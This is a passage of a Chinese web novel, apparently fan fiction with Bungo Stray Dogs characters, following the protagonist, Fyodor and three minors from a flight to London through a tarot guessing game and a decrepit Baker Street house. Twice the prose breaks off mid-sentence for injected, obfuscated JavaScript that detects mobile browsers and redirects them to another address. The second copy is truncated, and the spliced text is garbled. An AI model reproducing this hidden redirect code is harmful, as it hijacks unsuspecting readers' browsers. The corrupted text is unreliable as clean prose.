他望向远处正在闹腾的三个未成年,有些了然地微微一笑。 “确实很专业。”他说。 夏章雾没有笑。 更准确的说,他的笑容僵在了脸上。 “你说得对。预言就应该这么用。” 作者满带着调侃意味的声音响起: “凡是将重逢的,都注定重逢。不是吗?” -第一卷·END- 32.远道而来的玩家 从青森到伦敦几个小时的飞行很无聊。 但对于夏章雾来说,比无聊更多的是忙碌。 他忙着给江户川蓝峰编辑短信,短信的内容大致为“太好了,聘请退休杀手来管理高智商未成年人真的非常有用,你也来试试吧”。 他还忙着给石坂洋次郎编辑短信,短信的内容大致为“一定要好好生活下去啊,为了妹妹而努力的大哥哥”。 他还忙着教训太宰治。这是他最近的日常工作,不过由于织田作之助的存在,近几个小时来他的工作量突然大大降低了。 他还忙着看笔记本上读者的叽叽喳喳。 「玧末: 还有我的!情报费!交出来!我的疯狂星期四就靠你了!」 「暮川夜: 要点劳务费怎么了?!每天讲废话也是很累人的啊!而且爱丽丝也要每天想笑话,这些可是很费脑子的!」 「愿我注视深渊: 支持!付点钱怎么啦?情报可是很昂贵的,知不知道我回去翻原著也很狼狈!」 “?” 夏章雾用笔尖戳戳笔记本,有点好奇:“怎么几个小时不见,你们全来找我要情报费了?” 且不说他身上根本没钱的事情,就算是有钱也没法寄到三次元吧? “但你可以用女装照抵费用啊。” 画外音在旁边兴致勃勃地说道:“我相信读者们会很喜欢这种支付情报费的方式的!而且我也超级喜欢——” 夏章雾用强烈不赞同的目光看着虚空处。 “那你就去参演涩情内容抵债?” 画外音咳嗽一声,换了个说辞,再次兴奋起来:“你看看上一章读者的评论,那是相当的踊跃啊,大家都表示很想看看内容!” “举报了,谢谢喵。” 夏章雾面无表情地端起热可可:“审核请走这边,好好地看看这个作者的嘴脸,它……” “我会把你的举报内容从正文里面删掉。” 画外音打断了自家主角的话,突然变得很有智慧:“而且你不想拿自己抵债也行,也可以尝试说服费奥多尔先生换装帮你还债嘛。” “噗——咳咳咳咳?!” 正在喝热可可的夏章雾差点被这句话呛死。 费奥多尔,换装?你认真的?这么多天他就没见到过那家伙改变过衣服款式! 他抬起头,满脸都是“你非要这么恶心我吗”的惊恐表情。 “说到你旁边的费奥多尔先生,某位夏先生上飞机后一直忙来忙去,就是不看对方眼睛,是在心虚吧?” 画外音笑眯眯地乘胜追击,成功把主角打倒在了座位上:“哎呀呀,事情都到这份上了,心虚也没用,你还是得承认现实的啊。” “你别说了!” 夏章雾没好气地把热可可放下来,咬牙切齿地开口:“我承认现实了,行吧!可恶,反正承不承认都要面对这个麻烦……” 说到这里,他突然忧郁起来。 整个事情的糟糕程度,就像是你喝酒喝到第二天大脑才清醒过来。 虽然你根本想不起来、也不想承认自己昨晚做了什么样的蠢事,更不愿意相信那群损友所说的“你昨晚一口气抓了五百只蟑螂养在厨房里”之类的蠢话。但当你打开厨房门,发现一整支浩浩荡荡的蟑螂大军朝你扑过来时…… 这件事情的真相就已经不重要了。重要的是你的家里真的有五百只蟑螂。 夏章雾觉得这个比喻相当贴切。 而最贴切的那个部分在于:当某位俄罗斯侦探出现在你附近时,他本人的危害性和五百只蟑螂对你家造成的危害不相上下。 “很有道理,但你能不能别比喻。” 画外音实事求是地说:“这个比喻真的恶心到我了。” “往好处想想。” 夏章雾倒是很有一种苦中作乐的乐观态度:“他至少很有钱。” “很有钱?” 俄罗斯人那听上去让人感觉毫无攻击性的声音从旁边飘来。 “你回来了?” 夏章雾立刻若无其事地拿起热可可杯子,毫不尴尬地咳嗽一声:“说你呢,这还是我这辈子第一次坐商务舱。” 这个世界很冰冷,未来一片灰暗,而可以理直气壮地问费奥多尔报销各项费用是其中一丝为数不多的温暖。 另外一丝为数不多的温暖则是来自于那三个未成年幼崽:他们一路上的喜剧气氛很好地中和了两个成年人周围弥漫的微妙尴尬。 费奥多尔坐到了属于自己的位置上。他看上去没对夏章雾的说法产生什么意见,而是和对方一起看向另一边的那三个未成年。 此时他们那的具体情境是这样的:织田作之助正表演用一根绳子镇压太宰治,而坂口安吾则是在针对整个事件进行吐槽。 “所以说真的有必要绑成这个样子吗?” 坂口安吾有些不忍直视:“一般来讲,对付这家伙的正确方式是堵住他的嘴才对吧?” “安吾——” 太宰治不可置信地看过去:“我还以为我们是最好……” “是这样啊。” 织田作之助点了点头,可以看得出来这家伙完全就是认真的:“之前竟然没有考虑过这个办法,我会努力学习的。” 没有考虑过这个方法的原因在于,之前他的任务对象在任务完成后就不会说话了。 “对于这种发言应该进行吐槽啦织田作!” 太宰治称呼人的方法依旧是使用那些稀奇古怪的外号,他特别大声地喊道:“而且根本就没必要把我的嘴堵上,毕竟某位混蛋大叔的合同上又没有这种内容——” “帮我堵上太宰的嘴一会儿吧。” 被再次喊成大叔的夏章雾淡定地开口:“到伦敦我请你吃那里的辣咖喱,织田先生。” 于是太宰治的嘴就被堵上了。 不过从他“唔唔唔”的挣扎来看,他应该很想说诸如“难道为了辣咖喱就可以伤害一个无辜可爱小朋友的心吗”之类的话。 然而在座的人都觉得没有什么不可以。更重要的是,没人觉得太宰治是无辜可爱的小朋友,所以只有太宰治在那里自顾自地变成河豚。 夏章雾没忍住,用力搓了搓这孩子的头发,觉得这只气鼓鼓的河豚没有办法用来擦鞋子还是太可惜了。 “要来玩游戏吗?” 在揉搓完太宰治后,他提议道:“我这里有一个很有趣的游戏可以玩。” 距离到达伦敦还有两个小时,正好足够用玩游戏来打发时间。在排除掉太宰治这个百分之百会在游戏过程中闹出幺蛾子的不稳定因素后,整个游戏过程想来也可以进展得很顺利。 “什么游戏?” 坂口安吾转过头,扒拉着椅背,有些好奇地问道。 “一个推理游戏。” 夏章雾非常愉快地说:“一名裁判与两名以上的玩家就可以玩。” 某条栗子河豚在绳子里挣扎着扑腾两下,眼巴巴地看着夏章雾。 “首先,裁判需要在心里赋予玩家和不同东西的对应关系。每个对应关系就是一个‘真相’。” 然而夏章雾不为河豚的挣扎所动,只是继续说道:“接下来,裁判要分别告诉每个玩家一个不重复的‘真相’。然后玩家轮流发言,发言内容是围绕自己得知的‘真相’,说出两句真话,或一句真话和一句谎言。第一个判断出所有‘真相’的玩家获胜。” 规则很简单。 太宰治就算是还在被堵着嘴,也倔强地“咕咕唔唔”了起来。夏章雾花了点时间才听懂,这小子是在用两种不同的声音发摩斯密码。 具体内容大致如下: 我想当裁判当裁判当裁判当裁判…… “你不准当。” 夏章雾冷酷无情地说。 而太宰治对此的回应也相当果断。 他眼泪汪汪地看着夏章雾:“呜……” “停停停!你赢了!” 夏章雾咬牙切齿地打断了他接下来的表演,同时飞快地转过头:“织田作,下次除了把他嘴堵住,记得套麻袋!别让我看到这小子的脸!” 于是游戏就这么开始了。 令人惊奇的是,太宰治这次没折腾什么新乱子,而是有板有眼地完成了裁判的一系列工作:包括选择对应关系,包括告诉每个人“真相”。 至少看上去是这样的。 “对应隐者牌的,是织田作之助哦。” 太宰治笑眯眯地在夏章雾耳边小声说道。 夏章雾虚着眼睛。 “你用的是塔罗?”他同样小声地说。 “因为塔罗很有趣嘛!” 太宰治很是愉快地回答,然后兴致勃勃地催促他回到自己的座位上。 夏章雾是最后一个被太宰治叫到的。所以当他坐回原位时,也就说明整个游戏正式开始了。 按照顺序,首先发言的是费奥多尔。 “对应审判的人眼睛是暖色的。” 俄罗斯人想了想,这样回答:“我认识了他很久。” 夏章雾突然猛烈地咳嗽起来。 由于他咳嗽得有点剧烈过头,在场的绝大多数人都用意味深长的目光看了过去——之所以不是“所有人”,是因为织田作之助这个例外。 他看过来的原因纯粹就是还没有搞懂人物关系的茫然。 而沐浴在众人视线下的某位主角先生,则是深深地吸了一口气,然后重新露出礼貌的微笑。 “都看我干什么?”夏章雾的语气很礼貌,就是夹杂着细微的、恶狠狠的磨牙声,“你们去看下一个发言的人啊。” 下一个发言的坂口安吾目光飘移了起来。 “呃,教皇牌对应的是未成年人。” 他推了下眼镜,努力地寻找着措辞,最后好不容易才憋出来第二句话:“他不是日本人。就这样吧?” 他看向下一位,也就是织田作之助。 织田作之助歪头想了想。 “正义的发色是深色的。”他说,“他并非是第一个发言的人。” 现在只剩下游戏的发起人没有说话了。 夏章雾稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256405|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微思考了几秒钟。 “代表隐者的人是男性。”他慢悠悠地拖长音调,“而且啊,这个世界上还存在着一个和他异能非常像的人哦。” 不会吧不会吧,不会真的有人能够通过这种模糊不清的台词猜出来这个人是谁吧? 夏章雾很是自信地想到。 也确实没有人在这一轮结束后抢答。因为大家都在用好奇的目光看着他。 “咦咦?” 太宰治趴在桌台上,用手指戳着大人,发出了稍微有些吃惊的语气:“这算是预言吗?是真的还是假的?” “真的预言可不会这么简单。” 夏章雾笑眯眯地把双手插在口袋里,享受着来自大家的注目礼,心里想着读者和作者告诉我的关于织田作之助的预言都老惨了,怎么可能和你们说:“而且我怎么可能告诉你们这到底是真话还是假话啊?” “好坏!” 太宰治气鼓鼓:“明明知道大家会好奇,但就喜欢干这种吊人胃口的事情!” 夏章雾看不出丝毫火气地点点头。 “谢谢夸奖。” 他转过头:“织田作,麻烦你把太宰的嘴继续堵上。记得套麻袋,没有麻袋用别的……哦,安吾你说你有带麻袋?谢了,帮下忙。” 于是太宰治的嘴又被堵上了。 世界一瞬间清净了下来,游戏继续。 没有人去深究坂口安吾到底是出于什么样的心理随身带上麻袋的,大家都很有默契地忽略了这个话题。 夏章雾巡视一圈: “所以这一轮结束了,有人……” 没有人的话他就要直接问作者答案了。毕竟这又不是剧透,一个游戏而已,作者想必也不会在意给自家主角透露一二。 “审判是费奥多尔先生,教皇是勒托先生,正义是坂口安吾,隐者是我?” 织田作之助以相当坦然的语气开口。 在场所有的人都看向了他。 气氛突然陷入了诡异的沉默。 “你用异能了?” 本以为胜券在握的夏章雾嘴角抽了一下,但清楚织田作之助异能的他很快就意识到了什么。 “但你的异能看不到那么长的未来吧?只要说话速度稍微慢一点,答案应该也不至于在六秒内就说完。”他问。 织田作之助眨了眨眼睛。 “是安吾说的。”他说,“他的语速很快。” 气氛再次陷入了诡异的沉默。 “那个,我确实使用了异能。” 坂口安吾有些尴尬地盯着地板,有些不好意思地开口:“主要是因为看到费奥多尔先生似乎很想说的样子,所以就忍不住想要抢答了……” 气氛第三次陷入了沉默。 “我在太宰身上放了窃听器。” 费奥多尔看向夏章雾,语气相当坦然:“而且您刚刚看上去像是很想用预言直接得出答案的样子。” 这次没有沉默。众人身边,某个鼓鼓囊囊的麻袋突然挣扎起来,同时传来了非常可疑的“唔唔唔”声音。 夏章雾没有给麻袋丝毫的眼神,只是默默地看着费奥多尔:“……” 可恶啊,你们几个的胜负欲都这么强吗?明明都已经把太宰治给踢出去了,这局游戏里的人怎么都还是作弊玩家? 不过—— 夏章雾拍了拍费奥多尔的肩膀。 “干得漂亮。”他说,“对太宰就得这么干,就当他锻炼能力好了。反正他到伦敦后总会遇到类似的事情的。” 麻袋的挣扎似乎更剧烈了点。 坂口安吾帮织田作之助紧紧地拽着麻袋口,“锻炼能力”这几个字突然让他对接下来的目的地有了一丝不太妙的预感。 “伦敦很危险吗?”他说,“我记得那是一个非常重要的全球经济政治文化异能中心吧?会需要这种技能?” “欸,我之前难道没说?” 夏章雾歪了歪头,然后很爽朗地笑了起来,用力拍拍坂口安吾的肩膀。 “伦敦啊,超级危险的!”他说。 伦敦。 ——它是世界上最糟糕的城市。 可以发生在任何时间段的盗窃和抢劫,随时有可能路过你的神经病超越者,每天必备的街头枪战游戏,堪称弱智的官僚机构团体,令人绝望的交通堵塞,半夜撬开你的窗户然后开派对的流浪人士,狗屎一样的天气…… ——同时也是世界上最美丽的城市。 最好的咖啡,最好的鸡尾酒,最乱七八糟的街头艺术,最多的艺术家和疯子,最多的异能者与最多的故事,距离“传奇”们最近的距离。你行走在其中,如同行走于一段伟大的历史。它作为日不落帝国王冠上最闪耀的宝石而存在着,而且也至今也仍在闪耀。 最好的也是最坏的地方,这就是伦敦。 “不过就算是很危险,大家现在也没有办法直接跳机了。” 在注定要飞向伦敦的飞机上,夏章雾笑眯眯地拍了拍坂口安吾:“所以,欢迎来到雾之都!” “——欢迎来到,地狱的熔炉!” 33.请来城堡觐见 贝克街222号是一栋非常特殊的建筑。 它以一种相当独特的形式存在于世界上:不仅仅是指它与221号互相打通的走廊,也不是指它里面时不时会传出的各种稀奇古怪的、毛骨悚然的声音。 而是单纯的丑陋。 它大概建造于中世纪,但没有任何古典主义的美感,漫长的历史带来的唯一作用就是让它成为了危房。如果说世界上存在着什么让所有人都不满意的作品,那肯定就是它。 文艺复兴风格的建筑师会扔掉自己的尺子;巴洛克学派的建筑师看到它的第一时间就会晕过去;所有现代派建筑家则会用高烧、呕吐作为回应。每个见到过它的都表示自己无法想象这个玩意的用途,并认为每个住在里面的人都会厄运缠身。 事实也确实如此。 这里一开始根本没有居住者,后来所有勉为其难地搬到这里的倒霉鬼也都破了产,就像是存在着什么古老的诅咒。 除魔师与驱灵师成打成打地来到这里,又成打成打地败退——没人拿它有办法。政府官员对它的态度则是视而不见,生怕有什么诡异的东西会沾上他们。 而亚瑟·柯南·道尔爵士,大概就是这个世界上唯一对这栋建筑感兴趣的人类了。 他专门对此在贝克街展开了调查研究。唯一发现就是这里的居民都相信世界上存在时空隧道:因为只有时空隧道才能解释那栋房子为什么没脸没皮地出现在了贝克街上。 还有件事值得一提:那就是在调查期间,道尔爵士在贝克街上平地摔了二十二回,并在途中遗失了五十镑左右的巨款。于是在两周后,他遗憾地搁置了这份研究,重新去研究自己的科廷利小精灵了。 而目前,这栋传奇建筑的现任主人、有史以来持有它时间最长的人类、贝克街大名鼎鼎的“镇压凶宅的神秘东方力量”、伟大的救世主兼先知兼教授的夏章雾先生—— 此刻正满脸尴尬地盯着自己房子的天花板。 天花板上很离奇地蔓延着一大片肥沃的爬山虎,还开着不知道从哪里钻出来的小花。 “我说过了。”他说,“我其实更建议你们住旅馆。是你们非要过来看看我家是什么样的。” 在他身后,所有人都以一种十分奇妙的沉默态度注视着这栋房子的内部——事实上,在他们在进入这个房子之前就是这个态度了。 尤其是当他们意识到这个房子就是他们的目的地时,空气中的沉默简直震耳欲聋。 “我想大家只是没有想到……” 坂口安吾盯着面前昏暗的场景,语气中充斥着浓郁的敬佩与敬畏:“呃,世界上竟然还存在着那么有创意的房子。” 说完这句话后,他深深地吸了一口气。 说实在的,能说出“创意”这个词,已经耗费了他大半辈子的情商。 如果说这座房子的外部是纯粹的丑陋,那它的内部就是场纯粹的混乱,让人想到启示录、世界末日、角落里的一堆蟑螂卵鞘、四个月前你放进一块披萨后就再也没有打开过的冰箱…… 夏章雾叹了口气,转身打开了灯开关。 灯光亮了起来。 几只蝙蝠从墙洞里面探出了脑袋,发现还是那个熟悉的人类后又淡定地往里面缩了缩。正在开派对的老鼠们有些尴尬地开始排队从墙角开溜,并且还拖走了一块有着可疑霉斑的奶酪。 饼干碎片跟着它们一起跑远了。 饼干碎片,跑远。 “所以那块饼干碎片为什么会动?” 太宰治喉咙蠕动了一下,有些艰难地问。 “因为虫子……?” 夏章雾尴尬地笑了一声,以某种仿佛自己都不太确定的语气说:“被放置太久的饼干总会长点稀奇古怪的东西。不过那肯定不是蛆,因为它们不吃饼干。” 躲在墙角的蜥蜴蹿出,把饼干碎片连着里面的虫子一起吃掉,然后又悄无声息地消失在了黑暗中。 “看起来,好生机勃勃。” 织田作之助大致判断了一下接下来自己要见到的生物种类,发表了十分真诚的赞叹。 不知道住在哪里的猫头鹰对这个评论赞同地“咕咕”起来。 夏章雾猛烈地咳嗽了一声。 “谁叫它的价格只有一英镑!” 他尝试据理力争:“一英镑!你们知道这是什么概念吗!这可是伦敦贝克街的房子!你们用一百日元可以在京东买到房子吗?” 穷得理直气壮的夏先生走过嘎吱作响的地板和内容不详的文稿,绕开了所有的蜘蛛网,顺便拿起路边放的喷壶,给墙缝里的苔藓浇了水,随后踩着摇摇欲坠的楼梯,爬上还没有打开灯的二楼。 然后他才感觉到哪里不太对劲。 “你们怎么不上来?” 夏章雾站在二楼的栏杆边上,有些困惑地低头问道。 四个人都站在楼梯下,用难以言喻的眼神看着他。 三个未成年人闻言都是一阵猛烈的摇头。尤其是织田作之助,他看这个楼梯时露出的严峻表情简直就像是在面对方圆三百米的连锁地雷阵。 费奥多尔按了按帽子。 “我先去别的地方看看。”他说,“放心,不会迷路的。” 说完他就转身离开了,留下了暂时还没有想出借口的未成年。 夏章雾也没有拦着对方的意思——虽然一楼有几块踩上去会摔到地下室的地板,但他感觉某位俄罗斯人应该还不会这么倒霉。 目前他比较关心的还是这三个未成年人。 以及自己的楼梯。 “怎么连织田你都是这个表情……难道楼梯再走几个人就要塌了?” 他立刻警惕起来:“这东西的维修费可是很贵的!” “嗯?”织田作之助看上去有些迷惑,“没有。” 但还没有等到夏章雾缓过一口气,他就继续开口:“是整个二楼都会垮掉。” 夏章雾捂住了胸口。 “幸好我有备用计划。”他说,转身进走廊捡了个什么东西,直接往下面抛去——末端直到落到一楼的地面上,大家才发现这是根绳梯。 “帮忙把安吾和太宰绑好。” 他说,显然没有指望太宰治和坂口安吾会爬这种东西:“织田作你先上来,我们一起把他们两个给拽过来。” 有时钟塔侍从的人过来拜访时也不太乐意走楼梯,这时夏章雾就会向他们推荐这个方法:导致的后果就是基本没人会来这个房子第二次。 不得不说,这也很正常。 织田作之助可能是在场唯一觉得没什么问题的人。 他十分熟练地抓住了见势不妙想要跑走的太宰治,又很快抓住了汗流浃背的坂口安吾,把人打包起来后,顺着绳梯爬上去,成功地和夏章雾一起把人拉了上来。 看上去就像是一个相当娴熟的绑架团伙,配上房子年久失修的背景就更像了,甚至还能增加一点灵异要素。 然而夏章雾根本没有这方面的自觉。 “你们先去走廊尽头,客房就在那儿。我在这里等我们的大侦探。放心,走廊还是很稳定的,顶多只会摔个半身不遂。” 他很随意地摆摆手,帮忙把两个未成年身上的绳子给解开:“也就太宰要小心点。其余的人我带去钟塔侍从转一圈,只要不是当场死亡马上都能活蹦乱跳。” 太宰治:“!” 他露出了跃跃欲试的表情。 ——然后就被织田作之助重新捆了起来。 “我会照顾好太宰的。” 前任杀手先生很有责任心地回答,把地上扑腾的栗子河豚拖走了。 夏章雾看着他们的背影,满意地点点头,感觉自己的这笔钱花得很值。 “是费奥多尔的钱。” 画外音很严谨地说:“不是你的钱。” “这种事没必要分得那么清。” 夏章雾说。他靠在栏杆上,摩挲着下巴:“而且你有没有意识到,我其实没有必要在这里提醒费、呃,费奥多尔别走楼梯。” 他扳着手指头计算起来: “你想象,如果他走楼梯导致二楼塌陷,那么我不仅仅能欣赏他被埋在建筑物里的样子,还能问他要一大笔维修补偿金。嗯,怎么也得有五万镑吧……” “就五万镑?” 画外音很鄙视他:“真没出息。你要是不敲诈个五十万镑,我和读者就都看不起你。” 五、五十万? 夏章雾倒吸一口凉气。 对于某个穷鬼来讲,这个数字足够让他的大脑很没出息地宕机一会儿了。 “你是说他有五十万镑的存款?不可能,我这么多年也就攒下了五十镑而已!” 贫穷至今的救世主兼先知兼教授满脸的不可置信,不由自主地抬高了声音:“而且还全被柯南·道尔那个混蛋给骗走了!” “被柯南·道尔那个混蛋给骗走了——” “给骗走了——” 房子忠实地传来层层叠叠的回声,让所有人都能听到某位教授大惊小怪的喊叫。房洞里的一只蝙蝠悄悄地换了个姿势,觉得这个住所突然间变得有点吵。 “骗走了——” “了——” “噗。”作者说。 “听上去确实挺糟糕的。” 某位俄罗斯人的声音传来。 附近一个房间的门在嘎吱声中打开。费奥多尔从里面走出,脸上还带着淡淡的微笑:“不过您倒也不用这么大声,我能听得见。” 夏章雾:“……” 他又猛烈地咳嗽了一声,以此来掩饰尴尬。 “记得走绳梯。”他若无其事地说,“走楼梯的话,这栋房子会塌。” 费奥多尔先是看了眼绳梯,又看向楼梯。 最后他选择望向夏章雾,目光中的某种意味成功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“等等,你该不会真的在考虑这件事吧?” 本来只是在开玩笑的画外音顿时大惊失色起来:“你先冷静一点,千万别谋杀成功了!我可不想中途换主角!” 在旁边,其实能听懂夏章雾正在嘀咕什么的费奥多尔则是歪了歪头:“……” 然后侦探先生便淡定地沿着走廊离开了,决定不去打扰夏某人的幻想时间:反正某人也只能在白日梦里想象一下自己有钱的样子了。 在这个整个充斥着年久失修气质的房子里,二楼还要年久失修许多。就连老鼠都会出于安全的考虑,很自觉地不会在这里的墙上打洞。 费奥多尔打开走廊上的灯。 ——就连他也不得不承认,这间房子能存在到21世纪简直是最伟大的奇迹。 三个未成年人说话的声音从前方模模糊糊地传了过来。他们正在往回走,看到两个大人后才停下来。 被绑着的太宰治很兴奋地举起一只手,给后来的两个大人比了个口型。 “尽头的房间里有人”。 坂口安吾则是摇了摇头,表示他并没有用异能看到有什么人进去。但是…… “是人的脚步声。” 织田作之助很肯定地说道:“体重在七十公斤左右。步伐沉稳、自信,没有明确目的,也没有听到翻找的声音。” 夏章雾终于回过神来。 “哦,那家伙啊。” 他毫不犹豫地说:“揍一顿好了。反正有钟塔侍从在,只要不揍死就没问题,连医疗费都不用付。要是中途房子塌了我还能多要赔偿金。” “……”微妙的沉默。 事情的重点,该不会是在最后一句话上吧? “好过分哦,大叔。” 太宰治幽幽地道:“连钱都不想付,还想从对方的身上赚钱。” “就是啊,助手你未免也太过分了。” 一个附和的声音传来。 走廊右侧被打开。一个穿着灰色风衣、身高足足有一米九的瘦削男人站在门后,悠然地吸了口烟斗。 他说:“不就是欠了你五十镑……摆出这幅杀气腾腾的表情是干什么?等等,谋杀了!侦探助手要谋杀侦探了!” 话音未落,就是一连串的声音传来: “咣当——” “砰砰砰——” 整个二楼的地板都摇晃了起来。其余四人安静地挪来到一个摇晃程度比较小的角落,移开目光,不去看面前过于血腥暴力的场景。 “嗡嗡嗡嗡——” “哒哒哒哒哒——” “柯南·道尔是吧?” 夏章雾气急败坏的声音响起:“我打的人就是你!你到底还还不还我那五十镑了!” “别打了别打了,我可不想付这栋房子的赔偿金——而且这种事怎么也得等到下个月批经费时再说吧?我今天来可是有非常重要的任务的!” 柯南·道尔最后还是说了句非常有用的话,把他的脸从夏章雾的拳头下面拯救了出来。 “女王陛下想见你们——” 他说:“是OOL的事情。现在,马上。” 34.无尽迷宫的 车辆平稳地行驶在英国伦敦的道路上。 车辆已经平稳地在道路上行驶了一个小时,平均时速达到了惊人的每小时五公里。 三十分钟前,柯南·道尔想要抽烟,但才拿出烟斗就被夏章雾以“未成年人禁止吸烟”的理由进行了扣留,此时正百无聊赖地看着窗外。 刚刚结束了敲代码工作的费奥多尔侦探抱着笔记本电脑,仿佛正在思考着什么。夏章雾靠在他身边,在睡了短暂的一觉后又醒了过来,正在看读者们的评论。 「玧末: 所以账务君别忘记把他们丢去学习!」 夏章雾很赞同地点点头。 放心,等这次事件解决他就把这些小崽子打包邮寄给布利切斯特大学当吉祥物,让别的教授头疼去。提前数年直接进入大学学习,简直是赢在了起跑线上好吗? 更重要的是,他再也不用为未成年烦心了。 「七: 是什么样的爱丽丝呢~话说爱丽丝和幼儿的道德启蒙行为规范有关系吗……?好想弄这个来交作业 顺便!摸摸猫猫~偷偷摸摸爱丽丝」 爱丽丝啊。 夏章雾的表情有些微妙。 说实话,当他从作者那里知道自己要面对的文学负面体叫“爱丽丝漫游奇境与镜中奇遇”时还是挺惊讶的。 一部分是因为这个名字看上去就是两本不同名著的组合款,一部分是因为这个名字看上去比起严肃型的文学作品更像是幻想小说。还有一部分是…… 这一个月来天天喊读者爱丽丝喊习惯了,以至于他看到这个文学负面体名字时很难绷得住:总有一种爱丽丝下海当反派的幻视。 他翻过一页,去看另一个读者评论: 「愿我注视深渊: 完成一个任务作者那里没有任务金吗,太过分啦!还有五险一金,通通都要,救世主明明也是份正经工作的说~」 夏章雾死鱼眼。 他也想要任务金啊,但是该死的作者表示它已经把任务金额全部兑换成技能了。总而言之就是榨不出半分油水,还不如多多尝试从某个俄罗斯人身上薅羊毛。 不过说到某俄罗斯人…… 夏章雾目光缓缓下移: 「好心的斯巴拉西希望饭团: 好扎心的事实呢,以及——突然想到,假如因为楼塌了而且很不幸的在场的生物全部死亡,费佳还能活吗,难不成变成房子?」 这个评论他一直都没有看懂:什么叫做人全死了后费佳还能活吗?什么叫变成房子?这件事是不是有点太恐怖了? 稍微困惑了几秒,夏章雾就决定暂时忽略这方面的事情,转而去做正事。 他拿起笔,在本子上“哗哗”地写道: 「嗨,读者们。我们又要被卷入麻烦了。这次还是老样子:你们知道有什么与《爱丽丝漫游奇境与镜中奇遇》的情报吗?如果可以,希望接下来能够提供你们觉得有用的信息。」 写完后,他把笔记本揣回背包。 现在就要解决语言不通的问题了:虽然他和费xxx可以和英国人无障碍交流,但这三小只可不一定。 夏章雾想了想,又从背包里摸出个东西,随后看向车边的那三个未成年。 太宰治正在车窗边无聊地数人头,而织田作之助和坂口安吾在听着他给外面的人数人头。 “一百零二、一百零三……” 太宰治趴在窗户上:“哇呜,一百零三号先生是个英年早秃的社畜耶。” “原来工作压力会让人脱发这么快吗?” 织田作之助在旁边认真地看着,发出不明所以的感慨声:“还真是厉害啊。” “不不不,倒也不会这么快啦。” 坂口安吾毫不犹豫地吐槽道:“刚刚那位先生很明显是先天性的脱发吧?工作压力大也不至于造成这种程度的掉发。” “从实际角度来看,如果只是工作压力大的话,怎么看猝死的概率都要比掉发掉成斑秃的可能性大。” 夏章雾随口终结了小孩子们的聊天,然后拿出一个小瓶子,直接摆在了费奥多尔已经合拢的笔记本电脑上。 瓶子里有几条淡黄色的小鱼正在游动,看上去有点像是微型的水蛭。 “是异能产物。” 夏章雾熟练无比地把太宰治凑过来的脑袋重新推开:“你别碰,这主要是给安吾和织田作准备的东西。” “哦呀。” 关注着这边动静的柯南·道尔也侧过头:“你那里还留着这么多万能翻译器?” “道格拉斯送的,当时我带他去华夏时,他为了当地绿孔雀保护运动,决定在演讲台上发表一番有关人类和水坝的批判意见——你知道的,他从来不喜欢水坝。” 夏章雾耸了耸肩,解释道:“于是他送了我一瓶子巴别鱼,希望我能发给当地人,让他们能听懂他的演讲。最后还剩下了这些。” 尽管被推到了一边,但太宰治依旧很好奇地看着,丝毫没有显现出兴趣衰减的模样。 “这种鱼叫巴别鱼?” 他问:“一种万能翻译器?” 看上去他真的很想试试这些鱼到底是怎么翻译语言的。但好在这个车子里的令一个成年人很懂得怎么打消太宰治的兴趣。 “它的运行原理和潜意识、精神波、神经信号、心灵矩阵有关。” 费奥多尔打开瓶子看了眼,动作熟稔得就像是这是他的瓶子:“用法是让它钻入耳道,寄生在宿主的体内……” 太宰治睁大眼睛,嫌弃地“噫”了一声,立刻远离了这个瓶子,躲到了织田作之助的身后: “听起来好恶心——” “放心。” 夏章雾将费奥多尔手中的瓶子抢了回来,往掌心倒了两条鱼:“对人体没有任何影响,钟塔侍从做过相关的实验。而且只要两天不听任何声音就能把它饿死了。要试试吗?” 虽然口中说的是“要试试吗”,但他的表情明显是“你们要是不同意的话,我就直接把它塞到你们耳朵里咯”。 柯南·道尔也往后座上看去,脸上浮现出相当显而易见的看热闹表情。就连费奥多尔都饶有兴致地看了过来。 沐浴在三个恶趣味成年人目光下的坂口安吾咽了下口水,也缩到了织田作之助身后,和太宰治一起衬托得某位前任杀手就像是老鹰捉小鸡游戏里的母鸡。 然后作为“母鸡”的织田作之助一脸淡定地从夏章雾手里接过了巴别鱼,把它分别放到了自己和没反应过来的坂口安吾耳朵里。 “有点滑和冷。” 他想了想,认真地评价:“钻进去后就没有感觉了。现在感觉外面的人说的内容都是日语,但彼此的姓名称呼并没有日本化。” “那就说明它生效了。” 夏章雾满意地点点头:“巴别鱼没有办法翻译文字、机械合成语句和自己说出的话。但也够用了,反正你们被喊过去基本就是旁听的。顺便提一句——” “亮闪闪!亮闪闪!亮闪闪!” 几只聒噪的乌鸦从伦敦的上空飞过,发出刺耳嘈杂的声音。 坂口安吾和织田作之助下意识地抬头看去。 夏章雾“啧”了一声,立刻警惕地左右看了起来,搜寻着这里有没有某只名为“格里普”的乌鸦踪迹。 “巴别鱼也能让人听懂动物的语言。” 于是费奥多尔微笑着替夏章雾说完了这句话:“因为大多数动物的喊叫并没有什么逻辑,也可以通过这种方式来分辨普通动物和异能者变成的动物。” “诶诶?连动物都能听懂吗?” 缩在织田作之助身后的太宰治探出脑袋,视线又重新回到了瓶子上,呈现出蠢蠢欲动地想要偷一条鱼的模样。 “因为巴别鱼转化的并不是语言,而是情绪和话语背后的潜意识。所以它对我来说反倒没什么用……该学的语言还是要学。” 夏章雾确认了格里普不在这里,于是愉快地松了口气,解释完后望向费奥多尔:“给太宰用的翻译软件也准备好了吧?我睡前看到你正在编写程序了。” “嗯,刚刚在优化整体程序。” 费奥多尔微微笑了一下,重新把笔记本电脑打开,然后从口袋里拿出一个盒子,递了过去: “无线蓝牙耳机,太宰戴上就行。如果只是英语,翻译还是很准确的。” 坐在前座的柯南·道尔挑了下眉。 他看向俄罗斯人,又看了夏章雾一眼。 